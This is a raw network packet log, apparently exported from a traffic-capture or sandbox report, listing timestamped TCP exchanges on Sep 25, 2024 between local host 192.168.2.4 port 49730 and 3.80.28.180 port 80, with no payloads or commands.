Sep 25, 2024 03:51:30.701601028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.701613903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.701632023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.701639891 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.701679945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.701687098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.701704025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.701719999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.701735973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.701752901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.701771021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.701812029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702028990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702044964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702060938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702076912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702091932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702101946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702109098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702125072 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702126026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702145100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702163935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702171087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702209949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702413082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702429056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702444077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702460051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702476978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702485085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702493906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702508926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702512026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702534914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702538013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702552080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702567101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702583075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702585936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702599049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702609062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702616930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702632904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702651024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702658892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702668905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702685118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702688932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702702999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702704906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.702721119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.702748060 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.703599930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703624964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703639984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703655958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703656912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.703671932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703682899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.703687906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703706026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703717947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.703722000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703742027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703747034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.703758955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703773975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703788042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.703788996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703805923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703819036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.703821898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703839064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703850031 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.703855038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703871965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703881025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.703891039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703907013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703913927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.703922987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703942060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.703963041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.703986883 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.704246044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704262972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704279900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704297066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704309940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.704313040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704330921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704338074 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.704348087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704365969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704374075 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.704400063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704405069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.704416990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704432964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704448938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704463959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704473972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.704480886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704495907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.704499006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704516888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704524040 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.704535961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704550982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704567909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704570055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.704585075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.704586029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.704631090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.705169916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705188036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705202103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705218077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705234051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705241919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.705271006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.705374002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705390930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705405951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705421925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705436945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705437899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.705454111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705462933 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.705470085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705487967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705492020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.705502987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705516100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.705519915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705542088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705544949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.705559015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705574036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705590010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705595016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.705605984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705619097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.705625057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.705657005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706320047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706347942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706362963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706367016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706392050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706408978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706422091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706424952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706440926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706449986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706458092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706474066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706490040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706497908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706507921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706523895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706530094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706538916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706554890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706558943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706571102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706585884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706587076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706603050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706614017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706619024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706635952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706641912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706653118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706655025 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706670046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706686974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706700087 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706705093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706722021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.706732988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.706773996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.707279921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707308054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707323074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707338095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707350969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.707354069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707370043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707379103 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.707413912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707415104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.707432985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707448959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707464933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707479954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707489014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.707496881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707511902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707524061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.707528114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707541943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.707544088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707561016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707570076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.707577944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707593918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707608938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707612038 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.707627058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707633972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.707643986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707659960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707673073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.707676888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.707698107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708129883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708147049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708172083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708173990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708190918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708206892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708213091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708224058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708240032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708256960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708259106 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708273888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708290100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708296061 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708323956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708682060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708697081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708713055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708728075 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708728075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708746910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708755016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708777905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708795071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708810091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708823919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708832026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708841085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708858013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708872080 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708877087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708892107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708894014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708910942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708926916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708941936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708950996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708956957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708973885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708976030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.708990097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.708992958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709009886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709028006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709043980 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.709069014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.709731102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709758997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709774971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709790945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709801912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.709805965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709822893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709830999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.709840059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709856033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709861994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.709872007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709888935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709904909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709904909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.709922075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709939003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709943056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.709956884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709961891 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.709974051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709990025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.709994078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710005999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710021973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710036993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710043907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710055113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710063934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710071087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710100889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710449934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710467100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710481882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710494995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710498095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710515022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710530043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710530043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710550070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710560083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710566044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710582018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710594893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710598946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710623026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710833073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710850000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710865021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710882902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710891962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710899115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710916042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710921049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710939884 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.710943937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710963011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710978985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.710994005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.711000919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.711013079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.711023092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.711030960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.711046934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.711056948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.711062908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.711080074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.711081982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:30.711097956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:30.711113930 CEST	80	49730	3.80.28.180	192.168.2.4
